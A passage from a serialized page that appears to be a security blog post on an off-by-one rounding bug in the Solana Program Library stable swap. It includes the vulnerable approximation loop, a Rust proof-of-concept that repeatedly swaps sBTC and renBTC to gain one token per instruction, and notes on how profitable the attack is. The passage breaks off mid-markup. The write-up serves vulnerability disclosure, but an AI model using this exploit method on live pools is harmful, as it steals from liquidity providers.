costs",{"type":25,"tag":96,"props":16058,"children":16060},{"id":16059},"discovery",[16061],{"type":30,"value":16062},"Discovery",{"type":25,"tag":26,"props":16064,"children":16065},{},[16066],{"type":30,"value":16067},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":25,"tag":26,"props":16069,"children":16070},{},[16071],{"type":30,"value":16072},"After a while, he noticed something weird..",{"type":25,"tag":16074,"props":16075,"children":16076},"blockquote",{},[16077],{"type":25,"tag":26,"props":16078,"children":16079},{},[16080],{"type":30,"value":16081},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":25,"tag":7764,"props":16083,"children":16085},{"code":16084},"KwnjUuZ :              0 9vMJfxu ->              1 EPjFWdd\nKwnjUuZ :              1 EPjFWdd ->              2 9vMJfxu\nKwnjUuZ :              2 9vMJfxu ->              3 EPjFWdd\nHU1tejU :              3 EPjFWdd ->            625 PRT88Rk\n24ZbKS3 :            625 PRT88Rk ->              7 EPjFWdd\n3oRPcFa :              7 EPjFWdd ->              6 BQcdHdA\n",[16086],{"type":25,"tag":264,"props":16087,"children":16088},{"__ignoreMap":7},[16089],{"type":30,"value":16084},{"type":25,"tag":26,"props":16091,"children":16092},{},[16093],{"type":30,"value":16094},"Somehow, we were getting tokens from nothing?",{"type":25,"tag":26,"props":16096,"children":16097},{},[16098],{"type":30,"value":16099},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":25,"tag":7764,"props":16101,"children":16103},{"code":16102},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[16104],{"type":25,"tag":264,"props":16105,"children":16106},{"__ignoreMap":7},[16107],{"type":30,"value":16102},{"type":25,"tag":26,"props":16109,"children":16110},{},[16111],{"type":30,"value":16112},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":25,"tag":26,"props":16114,"children":16115},{},[16116],{"type":30,"value":16117},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":25,"tag":7764,"props":16119,"children":16121},{"code":16120,"language":13585,"meta":7,"className":13586,"style":7},"    // Solve for y by approximating: y**2 + b*y = c\n    let mut y = d_val;\n    for _ in 0..ITERATIONS {\n        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n        if y_new == y {\n            break;\n        } else {\n            y = y_new;\n        }\n    }\n",[16122],{"type":25,"tag":264,"props":16123,"children":16124},{"__ignoreMap":7},[16125,16133,16166,16201,16300,16404,16432,16445,16463,16484,16493],{"type":25,"tag":271,"props":16126,"children":16127},{"class":13593,"line":13594},[16128],{"type":25,"tag":271,"props":16129,"children":16130},{"style":14385},[16131],{"type":30,"value":16132},"    // Solve for y by approximating: y**2 + b*y = c\n",{"type":25,"tag":271,"props":16134,"children":16135},{"class":13593,"line":11641},[16136,16141,16146,16151,16156,16161],{"type":25,"tag":271,"props":16137,"children":16138},{"style":14289},[16139],{"type":30,"value":16140},"    let",{"type":25,"tag":271,"props":16142,"children":16143},{"style":14289},[16144],{"type":30,"value":16145}," mut",{"type":25,"tag":271,"props":16147,"children":16148},{"style":13598},[16149],{"type":30,"value":16150}," y",{"type":25,"tag":271,"props":16152,"children":16153},{"style":13603},[16154],{"type":30,"value":16155}," =",{"type":25,"tag":271,"props":16157,"children":16158},{"style":13598},[16159],{"type":30,"value":16160}," d_val",{"type":25,"tag":271,"props":16162,"children":16163},{"style":13625},[16164],{"type":30,"value":16165},";\n",{"type":25,"tag":271,"props":16167,"children":16168},{"class":13593,"line":14354},[16169,16175,16180,16185,16191,16196],{"type":25,"tag":271,"props":16170,"children":16172},{"style":16171},"--shiki-default:#C586C0",[16173],{"type":30,"value":16174},"    for",{"type":25,"tag":271,"props":16176,"children":16177},{"style":13598},[16178],{"type":30,"value":16179}," _",{"type":25,"tag":271,"props":16181,"children":16182},{"style":14289},[16183],{"type":30,"value":16184}," in",{"type":25,"tag":271,"props":16186,"children":16188},{"style":16187},"--shiki-default:#B5CEA8",[16189],{"type":30,"value":16190}," 0",{"type":25,"tag":271,"props":16192,"children":16193},{"style":13603},[16194],{"type":30,"value":16195},"..",{"type":25,"tag":271,"props":16197,"children":16198},{"style":13625},[16199],{"type":30,"value":16200},"ITERATIONS {\n",{"type":25,"tag":271,"props":16202,"children":16203},{"class":13593,"line":14391},[16204,16209,16214,16219,16223,16227,16231,16235,16239,16244,16248,16252,16257,16261,16265,16269,16274,16279,16283,16287,16291,16295],{"type":25,"tag":271,"props":16205,"children":16206},{"style":14289},[16207],{"type":30,"value":16208},"        let",{"type":25,"tag":271,"props":16210,"children":16211},{"style":13625},[16212],{"type":30,"value":16213}," (",{"type":25,"tag":271,"props":16215,"children":16216},{"style":13598},[16217],{"type":30,"value":16218},"y_new",{"type":25,"tag":271,"props":16220,"children":16221},{"style":13625},[16222],{"type":30,"value":44},{"type":25,"tag":271,"props":16224,"children":16225},{"style":13598},[16226],{"type":30,"value":6434},{"type":25,"tag":271,"props":16228,"children":16229},{"style":13625},[16230],{"type":30,"value":14406},{"type":25,"tag":271,"props":16232,"children":16233},{"style":13603},[16234],{"type":30,"value":1065},{"type":25,"tag":271,"props":16236,"children":16237},{"style":13625},[16238],{"type":30,"value":16213},{"type":25,"tag":271,"props":16240,"children":16241},{"style":13620},[16242],{"type":30,"value":16243},"checked_u8_power",{"type":25,"tag":271,"props":16245,"children":16246},{"style":13625},[16247],{"type":30,"value":394},{"type":25,"tag":271,"props":16249,"children":16250},{"style":13603},[16251],{"type":30,"value":13632},{"type":25,"tag":271,"props":16253,"children":16254},{"style":13598},[16255],{"type":30,"value":16256},"y",{"type":25,"tag":271,"props":16258,"children":16259},{"style":13625},[16260],{"type":30,"value":44},{"type":25,"tag":271,"props":16262,"children":16263},{"style":16187},[16264],{"type":30,"value":1326},{"type":25,"tag":271,"props":16266,"children":16267},{"style":13625},[16268],{"type":30,"value":440},{"type":25,"tag":271,"props":16270,"children":16271},{"style":13603},[16272],{"type":30,"value":16273},"?.",{"type":25,"tag":271,"props":16275,"children":16276},{"style":13620},[16277],{"type":30,"value":16278},"checked_add",{"type":25,"tag":271,"props":16280,"children":16281},{"style":13625},[16282],{"type":30,"value":394},{"type":25,"tag":271,"props":16284,"children":16285},{"style":13598},[16286],{"type":30,"value":13243},{"type":25,"tag":271,"props":16288,"children":16289},{"style":13625},[16290],{"type":30,"value":440},{"type":25,"tag":271,"props":16292,"children":16293},{"style":13603},[16294],{"type":30,"value":5632},{"type":25,"tag":271,"props":16296,"children":16297},{"style":13625},[16298],{"type":30,"value":16299},")\n",{"type":25,"tag":271,"props":16301,"children":16302},{"class":13593,"line":14400},[16303,16308,16313,16317,16322,16326,16330,16334,16338,16342,16346,16350,16354,16358,16362,16366,16370,16375,16379,16384,16388,16392,16396,16400],{"type":25,"tag":271,"props":16304,"children":16305},{"style":13603},[16306],{"type":30,"value":16307},"            .",{"type":25,"tag":271,"props":16309,"children":16310},{"style":13620},[16311],{"type":30,"value":16312},"checked_ceil_div",{"type":25,"tag":271,"props":16314,"children":16315},{"style":13625},[16316],{"type":30,"value":394},{"type":25,"tag":271,"props":16318,"children":16319},{"style":13620},[16320],{"type":30,"value":16321},"checked_u8_mul",{"type":25,"tag":271,"props":16323,"children":16324},{"style":13625},[16325],{"type":30,"value":394},{"type":25,"tag":271,"props":16327,"children":16328},{"style":13603},[16329],{"type":30,"value":13632},{"type":25,"tag":271,"props":16331,"children":16332},{"style":13598},[16333],{"type":30,"value":16256},{"type":25,"tag":271,"props":16335,"children":16336},{"style":13625},[16337],{"type":30,"value":44},{"type":25,"tag":271,"props":16339,"children":16340},{"style":16187},[16341],{"type":30,"value":1326},{"type":25,"tag":271,"props":16343,"children":16344},{"style":13625},[16345],{"type":30,"value":440},{"type":25,"tag":271,"props":16347,"children":16348},{"style":13603},[16349],{"type":30,"value":16273},{"type":25,"tag":271,"props":16351,"children":16352},{"style":13620},[16353],{"type":30,"value":16278},{"type":25,"tag":271,"props":16355,"children":16356},{"style":13625},[16357],{"type":30,"value":394},{"type":25,"tag":271,"props":16359,"children":16360},{"style":13598},[16361],{"type":30,"value":2508},{"type":25,"tag":271,"props":16363,"children":16364},{"style":13625},[16365],{"type":30,"value":440},{"type":25,"tag":271,"props":16367,"children":16368},{"style":13603},[16369],{"type":30,"value":16273},{"type":25,"tag":271,"props":16371,"children":16372},{"style":13620},[16373],{"type":30,"value":16374},"checked_sub",{"type":25,"tag":271,"props":16376,"children":16377},{"style":13625},[16378],{"type":30,"value":394},{"type":25,"tag":271,"props":16380,"children":16381},{"style":13598},[16382],{"type":30,"value":16383},"d_val",{"type":25,"tag":271,"props":16385,"children":16386},{"style":13625},[16387],{"type":30,"value":440},{"type":25,"tag":271,"props":16389,"children":16390},{"style":13603},[16391],{"type":30,"value":5632},{"type":25,"tag":271,"props":16393,"children":16394},{"style":13625},[16395],{"type":30,"value":440},{"type":25,"tag":271,"props":16397,"children":16398},{"style":13603},[16399],{"type":30,"value":5632},{"type":25,"tag":271,"props":16401,"children":16402},{"style":13625},[16403],{"type":30,"value":16165},{"type":25,"tag":271,"props":16405,"children":16407},{"class":13593,"line":16406},6,[16408,16413,16418,16423,16427],{"type":25,"tag":271,"props":16409,"children":16410},{"style":16171},[16411],{"type":30,"value":16412},"        if",{"type":25,"tag":271,"props":16414,"children":16415},{"style":13598},[16416],{"type":30,"value":16417}," y_new",{"type":25,"tag":271,"props":16419,"children":16420},{"style":13603},[16421],{"type":30,"value":16422}," ==",{"type":25,"tag":271,"props":16424,"children":16425},{"style":13598},[16426],{"type":30,"value":16150},{"type":25,"tag":271,"props":16428,"children":16429},{"style":13625},[16430],{"type":30,"value":16431}," {\n",{"type":25,"tag":271,"props":16433,"children":16435},{"class":13593,"line":16434},7,[16436,16441],{"type":25,"tag":271,"props":16437,"children":16438},{"style":16171},[16439],{"type":30,"value":16440},"            break",{"type":25,"tag":271,"props":16442,"children":16443},{"style":13625},[16444],{"type":30,"value":16165},{"type":25,"tag":271,"props":16446,"children":16448},{"class":13593,"line":16447},8,[16449,16454,16459],{"type":25,"tag":271,"props":16450,"children":16451},{"style":13625},[16452],{"type":30,"value":16453},"        } ",{"type":25,"tag":271,"props":16455,"children":16456},{"style":16171},[16457],{"type":30,"value":16458},"else",{"type":25,"tag":271,"props":16460,"children":16461},{"style":13625},[16462],{"type":30,"value":16431},{"type":25,"tag":271,"props":16464,"children":16466},{"class":13593,"line":16465},9,[16467,16472,16476,16480],{"type":25,"tag":271,"props":16468,"children":16469},{"style":13598},[16470],{"type":30,"value":16471},"            y",{"type":25,"tag":271,"props":16473,"children":16474},{"style":13603},[16475],{"type":30,"value":16155},{"type":25,"tag":271,"props":16477,"children":16478},{"style":13598},[16479],{"type":30,"value":16417},{"type":25,"tag":271,"props":16481,"children":16482},{"style":13625},[16483],{"type":30,"value":16165},{"type":25,"tag":271,"props":16485,"children":16487},{"class":13593,"line":16486},10,[16488],{"type":25,"tag":271,"props":16489,"children":16490},{"style":13625},[16491],{"type":30,"value":16492},"        }\n",{"type":25,"tag":271,"props":16494,"children":16496},{"class":13593,"line":16495},11,[16497],{"type":25,"tag":271,"props":16498,"children":16499},{"style":13625},[16500],{"type":30,"value":16501},"    }\n",{"type":25,"tag":26,"props":16503,"children":16504},{},[16505,16510],{"type":25,"tag":10281,"props":16506,"children":16507},{},[16508],{"type":30,"value":16509},"approximate",{"type":30,"value":16511},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":25,"tag":26,"props":16513,"children":16514},{},[16515],{"type":30,"value":16516},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":25,"tag":7764,"props":16518,"children":16520},{"code":16519,"language":13585,"meta":7,"className":13586,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n    // create swap transaction\n    let mut swap_instruction = swap(\n        &spl_token::id(),\n        &swap_pubkey,\n        &swap_authority_pubkey,\n        &test_account_signer.pubkey(),\n        &sbtc_user_account,\n        &sbtc_reserve,\n        &renbtc_reserve,\n        &renbtc_user_account,\n        &admin_fee_account_sbtc_to_ren,\n        1,\n        2\n    ).unwrap();\n\n    // nonce\n    swap_instruction.data.append(&mut vec![i, extranonce]);\n\n    let mut instructions = vec![];\n\n    instructions.push(swap_instruction);\n\n    env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[16521],{"type":25,"tag":264,"props":16522,"children":16523},{"__ignoreMap":7},[16524,16532,16572,16580,16610,16637,16653,16669,16694,16710,16726,16742,16759,16776,16789,16798,16821,16830,16839,16905,16913,16943,16951,16982,16990,17050],{"type":25,"tag":271,"props":16525,"children":16526},{"class":13593,"line":13594},[16527],{"type":25,"tag":271,"props":16528,"children":16529},{"style":14385},[16530],{"type":30,"value":16531},"// from sbtc to renbtc\n",{"type":25,"tag":271,"props":16533,"children":16534},{"class":13593,"line":11641},[16535,16540,16545,16549,16553,16558,16563,16568],{"type":25,"tag":271,"props":16536,"children":16537},{"style":16171},[16538],{"type":30,"value":16539},"for",{"type":25,"tag":271,"props":16541,"children":16542},{"style":13598},[16543],{"type":30,"value":16544}," i",{"type":25,"tag":271,"props":16546,"children":16547},{"style":14289},[16548],{"type":30,"value":16184},{"type":25,"tag":271,"props":16550,"children":16551},{"style":16187},[16552],{"type":30,"value":16190},{"type":25,"tag":271,"props":16554,"children":16555},{"style":13603},[16556],{"type":30,"value":16557}," ..",{"type":25,"tag":271,"props":16559,"children":16560},{"style":16187},[16561],{"type":30,"value":16562}," 50",{"type":25,"tag":271,"props":16564,"children":16565},{"style":13609},[16566],{"type":30,"value":16567},"u8",{"type":25,"tag":271,"props":16569,"children":16570},{"style":13625},[16571],{"type":30,"value":16431},{"type":25,"tag":271,"props":16573,"children":16574},{"class":13593,"line":14354},[16575],{"type":25,"tag":271,"props":16576,"children":16577},{"style":14385},[16578],{"type":30,"value":16579},"    // create swap transaction\n",{"type":25,"tag":271,"props":16581,"children":16582},{"class":13593,"line":14391},[16583,16587,16591,16596,16600,16605],{"type":25,"tag":271,"props":16584,"children":16585},{"style":14289},[16586],{"type":30,"value":16140},{"type":25,"tag":271,"props":16588,"children":16589},{"style":14289},[16590],{"type":30,"value":16145},{"type":25,"tag":271,"props":16592,"children":16593},{"style":13598},[16594],{"type":30,"value":16595}," swap_instruction",{"type":25,"tag":271,"props":16597,"children":16598},{"style":13603},[16599],{"type":30,"value":16155},{"type":25,"tag":271,"props":16601,"children":16602},{"style":13620},[16603],{"type":30,"value":16604}," swap",{"type":25,"tag":271,"props":16606,"children":16607},{"style":13625},[16608],{"type":30,"value":16609},"(\n",{"type":25,"tag":271,"props":16611,"children":16612},{"class":13593,"line":14400},[16613,16618,16623,16627,16632],{"type":25,"tag":271,"props":16614,"children":16615},{"style":13603},[16616],{"type":30,"value":16617},"        &",{"type":25,"tag":271,"props":16619,"children":16620},{"style":13625},[16621],{"type":30,"value":16622},"spl_token",{"type":25,"tag":271,"props":16624,"children":16625},{"style":13603},[16626],{"type":30,"value":13617},{"type":25,"tag":271,"props":16628,"children":16629},{"style":13620},[16630],{"type":30,"value":16631},"id",{"type":25,"tag":271,"props":16633,"children":16634},{"style":13625},[16635],{"type":30,"value":16636},"(),\n",{"type":25,"tag":271,"props":16638,"children":16639},{"class":13593,"line":16406},[16640,16644,16649],{"type":25,"tag":271,"props":16641,"children":16642},{"style":13603},[16643],{"type":30,"value":16617},{"type":25,"tag":271,"props":16645,"children":16646},{"style":13598},[16647],{"type":30,"value":16648},"swap_pubkey",{"type":25,"tag":271,"props":16650,"children":16651},{"style":13625},[16652],{"type":30,"value":14351},{"type":25,"tag":271,"props":16654,"children":16655},{"class":13593,"line":16434},[16656,16660,16665],{"type":25,"tag":271,"props":16657,"children":16658},{"style":13603},[16659],{"type":30,"value":16617},{"type":25,"tag":271,"props":16661,"children":16662},{"style":13598},[16663],{"type":30,"value":16664},"swap_authority_pubkey",{"type":25,"tag":271,"props":16666,"children":16667},{"style":13625},[16668],{"type":30,"value":14351},{"type":25,"tag":271,"props":16670,"children":16671},{"class":13593,"line":16447},[16672,16676,16681,16685,16690],{"type":25,"tag":271,"props":16673,"children":16674},{"style":13603},[16675],{"type":30,"value":16617},{"type":25,"tag":271,"props":16677,"children":16678},{"style":13598},[16679],{"type":30,"value":16680},"test_account_signer",{"type":25,"tag":271,"props":16682,"children":16683},{"style":13603},[16684],{"type":30,"value":1860},{"type":25,"tag":271,"props":16686,"children":16687},{"style":13620},[16688],{"type":30,"value":16689},"pubkey",{"type":25,"tag":271,"props":16691,"children":16692},{"style":13625},[16693],{"type":30,"value":16636},{"type":25,"tag":271,"props":16695,"children":16696},{"class":13593,"line":16465},[16697,16701,16706],{"type":25,"tag":271,"props":16698,"children":16699},{"style":13603},[16700],{"type":30,"value":16617},{"type":25,"tag":271,"props":16702,"children":16703},{"style":13598},[16704],{"type":30,"value":16705},"sbtc_user_account",{"type":25,"tag":271,"props":16707,"children":16708},{"style":13625},[16709],{"type":30,"value":14351},{"type":25,"tag":271,"props":16711,"children":16712},{"class":13593,"line":16486},[16713,16717,16722],{"type":25,"tag":271,"props":16714,"children":16715},{"style":13603},[16716],{"type":30,"value":16617},{"type":25,"tag":271,"props":16718,"children":16719},{"style":13598},[16720],{"type":30,"value":16721},"sbtc_reserve",{"type":25,"tag":271,"props":16723,"children":16724},{"style":13625},[16725],{"type":30,"value":14351},{"type":25,"tag":271,"props":16727,"children":16728},{"class":13593,"line":16495},[16729,16733,16738],{"type":25,"tag":271,"props":16730,"children":16731},{"style":13603},[16732],{"type":30,"value":16617},{"type":25,"tag":271,"props":16734,"children":16735},{"style":13598},[16736],{"type":30,"value":16737},"renbtc_reserve",{"type":25,"tag":271,"props":16739,"children":16740},{"style":13625},[16741],{"type":30,"value":14351},{"type":25,"tag":271,"props":16743,"children":16745},{"class":13593,"line":16744},12,[16746,16750,16755],{"type":25,"tag":271,"props":16747,"children":16748},{"style":13603},[16749],{"type":30,"value":16617},{"type":25,"tag":271,"props":16751,"children":16752},{"style":13598},[16753],{"type":30,"value":16754},"renbtc_user_account",{"type":25,"tag":271,"props":16756,"children":16757},{"style":13625},[16758],{"type":30,"value":14351},{"type":25,"tag":271,"props":16760,"children":16762},{"class":13593,"line":16761},13,[16763,16767,16772],{"type":25,"tag":271,"props":16764,"children":16765},{"style":13603},[16766],{"type":30,"value":16617},{"type":25,"tag":271,"props":16768,"children":16769},{"style":13598},[16770],{"type":30,"value":16771},"admin_fee_account_sbtc_to_ren",{"type":25,"tag":271,"props":16773,"children":16774},{"style":13625},[16775],{"type":30,"value":14351},{"type":25,"tag":271,"props":16777,"children":16779},{"class":13593,"line":16778},14,[16780,16785],{"type":25,"tag":271,"props":16781,"children":16782},{"style":16187},[16783],{"type":30,"value":16784},"        1",{"type":25,"tag":271,"props":16786,"children":16787},{"style":13625},[16788],{"type":30,"value":14351},{"type":25,"tag":271,"props":16790,"children":16792},{"class":13593,"line":16791},15,[16793],{"type":25,"tag":271,"props":16794,"children":16795},{"style":16187},[16796],{"type":30,"value":16797},"        2\n",{"type":25,"tag":271,"props":16799,"children":16801},{"class":13593,"line":16800},16,[16802,16807,16811,16816],{"type":25,"tag":271,"props":16803,"children":16804},{"style":13625},[16805],{"type":30,"value":16806},"    )",{"type":25,"tag":271,"props":16808,"children":16809},{"style":13603},[16810],{"type":30,"value":1860},{"type":25,"tag":271,"props":16812,"children":16813},{"style":13620},[16814],{"type":30,"value":16815},"unwrap",{"type":25,"tag":271,"props":16817,"children":16818},{"style":13625},[16819],{"type":30,"value":16820},"();\n",{"type":25,"tag":271,"props":16822,"children":16824},{"class":13593,"line":16823},17,[16825],{"type":25,"tag":271,"props":16826,"children":16827},{"emptyLinePlaceholder":18},[16828],{"type":30,"value":16829},"\n",{"type":25,"tag":271,"props":16831,"children":16833},{"class":13593,"line":16832},18,[16834],{"type":25,"tag":271,"props":16835,"children":16836},{"style":14385},[16837],{"type":30,"value":16838},"    // nonce\n",{"type":25,"tag":271,"props":16840,"children":16842},{"class":13593,"line":16841},19,[16843,16848,16852,16856,16860,16865,16869,16873,16878,16883,16887,16891,16895,16900],{"type":25,"tag":271,"props":16844,"children":16845},{"style":13598},[16846],{"type":30,"value":16847},"    swap_instruction",{"type":25,"tag":271,"props":16849,"children":16850},{"style":13603},[16851],{"type":30,"value":1860},{"type":25,"tag":271,"props":16853,"children":16854},{"style":13625},[16855],{"type":30,"value":10346},{"type":25,"tag":271,"props":16857,"children":16858},{"style":13603},[16859],{"type":30,"value":1860},{"type":25,"tag":271,"props":16861,"children":16862},{"style":13620},[16863],{"type":30,"value":16864},"append",{"type":25,"tag":271,"props":16866,"children":16867},{"style":13625},[16868],{"type":30,"value":394},{"type":25,"tag":271,"props":16870,"children":16871},{"style":13603},[16872],{"type":30,"value":13632},{"type":25,"tag":271,"props":16874,"children":16875},{"style":14289},[16876],{"type":30,"value":16877},"mut",{"type":25,"tag":271,"props":16879,"children":16880},{"style":13620},[16881],{"type":30,"value":16882}," vec!",{"type":25,"tag":271,"props":16884,"children":16885},{"style":13625},[16886],{"type":30,"value":5604},{"type":25,"tag":271,"props":16888,"children":16889},{"style":13598},[16890],{"type":30,"value":1937},{"type":25,"tag":271,"props":16892,"children":16893},{"style":13625},[16894],{"type":30,"value":44},{"type":25,"tag":271,"props":16896,"children":16897},{"style":13598},[16898],{"type":30,"value":16899},"extranonce",{"type":25,"tag":271,"props":16901,"children":16902},{"style":13625},[16903],{"type":30,"value":16904},"]);\n",{"type":25,"tag":271,"props":16906,"children":16908},{"class":13593,"line":16907},20,[16909],{"type":25,"tag":271,"props":16910,"children":16911},{"emptyLinePlaceholder":18},[16912],{"type":30,"value":16829},{"type":25,"tag":271,"props":16914,"children":16916},{"class":13593,"line":16915},21,[16917,16921,16925,16930,16934,16938],{"type":25,"tag":271,"props":16918,"children":16919},{"style":14289},[16920],{"type":30,"value":16140},{"type":25,"tag":271,"props":16922,"children":16923},{"style":14289},[16924],{"type":30,"value":16145},{"type":25,"tag":271,"props":16926,"children":16927},{"style":13598},[16928],{"type":30,"value":16929}," instructions",{"type":25,"tag":271,"props":16931,"children":16932},{"style":13603},[16933],{"type":30,"value":16155},{"type":25,"tag":271,"props":16935,"children":16936},{"style":13620},[16937],{"type":30,"value":16882},{"type":25,"tag":271,"props":16939,"children":16940},{"style":13625},[16941],{"type":30,"value":16942},"[];\n",{"type":25,"tag":271,"props":16944,"children":16946},{"class":13593,"line":16945},22,[16947],{"type":25,"tag":271,"props":16948,"children":16949},{"emptyLinePlaceholder":18},[16950],{"type":30,"value":16829},{"type":25,"tag":271,"props":16952,"children":16954},{"class":13593,"line":16953},23,[16955,16960,16964,16969,16973,16978],{"type":25,"tag":271,"props":16956,"children":16957},{"style":13598},[16958],{"type":30,"value":16959},"    instructions",{"type":25,"tag":271,"props":16961,"children":16962},{"style":13603},[16963],{"type":30,"value":1860},{"type":25,"tag":271,"props":16965,"children":16966},{"style":13620},[16967],{"type":30,"value":16968},"push",{"type":25,"tag":271,"props":16970,"children":16971},{"style":13625},[16972],{"type":30,"value":394},{"type":25,"tag":271,"props":16974,"children":16975},{"style":13598},[16976],{"type":30,"value":16977},"swap_instruction",{"type":25,"tag":271,"props":16979,"children":16980},{"style":13625},[16981],{"type":30,"value":13665},{"type":25,"tag":271,"props":16983,"children":16985},{"class":13593,"line":16984},24,[16986],{"type":25,"tag":271,"props":16987,"children":16988},{"emptyLinePlaceholder":18},[16989],{"type":30,"value":16829},{"type":25,"tag":271,"props":16991,"children":16993},{"class":13593,"line":16992},25,[16994,16999,17003,17008,17012,17016,17021,17025,17029,17034,17038,17042,17046],{"type":25,"tag":271,"props":16995,"children":16996},{"style":13598},[16997],{"type":30,"value":16998},"    env",{"type":25,"tag":271,"props":17000,"children":17001},{"style":13603},[17002],{"type":30,"value":1860},{"type":25,"tag":271,"props":17004,"children":17005},{"style":13620},[17006],{"type":30,"value":17007},"execute_as_transaction",{"type":25,"tag":271,"props":17009,"children":17010},{"style":13625},[17011],{"type":30,"value":394},{"type":25,"tag":271,"props":17013,"children":17014},{"style":13603},[17015],{"type":30,"value":13632},{"type":25,"tag":271,"props":17017,"children":17018},{"style":13598},[17019],{"type":30,"value":17020},"instructions",{"type":25,"tag":271,"props":17022,"children":17023},{"style":13625},[17024],{"type":30,"value":44},{"type":25,"tag":271,"props":17026,"children":17027},{"style":13603},[17028],{"type":30,"value":13632},{"type":25,"tag":271,"props":17030,"children":17031},{"style":13620},[17032],{"type":30,"value":17033},"vec!",{"type":25,"tag":271,"props":17035,"children":17036},{"style":13625},[17037],{"type":30,"value":5604},{"type":25,"tag":271,"props":17039,"children":17040},{"style":13603},[17041],{"type":30,"value":13632},{"type":25,"tag":271,"props":17043,"children":17044},{"style":13598},[17045],{"type":30,"value":16680},{"type":25,"tag":271,"props":17047,"children":17048},{"style":13625},[17049],{"type":30,"value":16904},{"type":25,"tag":271,"props":17051,"children":17053},{"class":13593,"line":17052},26,[17054],{"type":25,"tag":271,"props":17055,"children":17056},{"style":13625},[17057],{"type":30,"value":17058},"}\n",{"type":25,"tag":26,"props":17060,"children":17061},{},[17062],{"type":30,"value":17063},"It works!",{"type":25,"tag":16074,"props":17065,"children":17066},{},[17067],{"type":25,"tag":26,"props":17068,"children":17069},{},[17070],{"type":30,"value":17071},"holy shit\nyea, this is big",{"type":25,"tag":26,"props":17073,"children":17074},{},[17075],{"type":25,"tag":698,"props":17076,"children":17078},{"alt":7,"src":17077},"/posts/spl-swap/poc.png",[],{"type":25,"tag":96,"props":17080,"children":17082},{"id":17081},"exploitability",[17083],{"type":30,"value":17084},"Exploitability",{"type":25,"tag":26,"props":17086,"children":17087},{},[17088],{"type":30,"value":17089},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":25,"tag":26,"props":17091,"children":17092},{},[17093],{"type":30,"value":17094},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":25,"tag":26,"props":17096,"children":17097},{},[17098],{"type":30,"value":17099},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":25,"tag":26,"props":17101,"children":17102},{},[17103],{"type":25,"tag":698,"props":17104,"children":17106},{"alt":7,"src":17105},"/posts/spl-swap/pr.png",[],{"type":25,"tag":26,"props":17108,"children":17109},{},[17110,17112,17117],{"type":30,"value":17111},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":25,"tag":10281,"props":17113,"children":17114},{},[17115],{"type":30,"value":17116},"per instruction",{"type":30,"value":17118},". Transactions on Solana can also contain multiple instructions.",{"type":25,"tag":26,"props":17120,"children":17121},{},[17122],{"type":30,"value":17123},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":25,"tag":26,"props":17125,"children":17126},{},[17127,17129,17134],{"type":30,"value":17128},"Some quick napkin math confirms that this ",{"type":25,"tag":10281,"props":17130,"children":17131},{},[17132],{"type":30,"value":17133},"is",{"type":30,"value":17135}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":25,"tag":26,"props":17137,"children":17138},{},[17139],{"type":25,"tag":264,"props":17140,"children":17142},{"className":17141},[267,268],[17143],{"type":25,"tag":271,"props":17144,"children":17146},{"className":17145},[274],[17147],{"type":25,"tag":271,"props":17148,"children":17150},{"className":17149,"ariaHidden":280},[279],[17151,17239,17291,17329],{"type":25,"tag":271,"props":17152,"children":17154},{"className":17153},[285],[17155,17159,17164,17215,17225,17229,17235],{"type":25,"tag":271,"props":17156,"children":17158},{"className":17157,"style":7693},[290],[],{"type":25,"tag":271,"props":17160,"children":17162},{"className":17161},[296],[17163],{"type":30,"value":968},{"type":25,"tag":271,"props":17165,"children":17167},{"className":17166},[296],[17168,17173],{"type":25,"tag":271,"props":17169,"children":17171},{"className":17170},[296],[17172],{"type":30,"value":953},{"type":25,"tag":271,"props":17174,"children":17176},{"className":17175},[982],[17177],{"type":25,"tag":271,"props":17178,"children":17180},{"className":17179},[987],[17181],{"type":25,"tag":271,"props":17182,"children":17184},{"className":17183},[992],[17185],{"type":25,"tag":271,"props":17186,"children":17188},{"className":17187,"style":7693},[997],[17189],{"type":25,"tag":271,"props":17190,"children":17191},{"style":1002},[17192,17196],{"type":25,"tag":271,"props":17193,"children":17195},{"className":17194,"style":1008},[1007],[],{"type":25,"tag":271,"props":17197,"children":17199},{"className":17198},[1013,1014,1015,1016],[17200],{"type":25,"tag":271,"props":17201,"children":17203},{"className":17202},[296,1016],[17204,17209],{"type":25,"tag":271,"props":17205,"children":17207},{"className":17206},[296,1016],[17208],{"type":30,"value":2774},{"type":25,"tag":271,"props":17210,"children":17212},{"className":17211},[296,1016],[17213],{"type":30,"value":17214},"8",{"type":25,"tag":271,"props":17216,"children":17218},{"className":17217},[296,30],[17219],{"type":25,"tag":271,"props":17220,"children":17222},{"className":17221},[29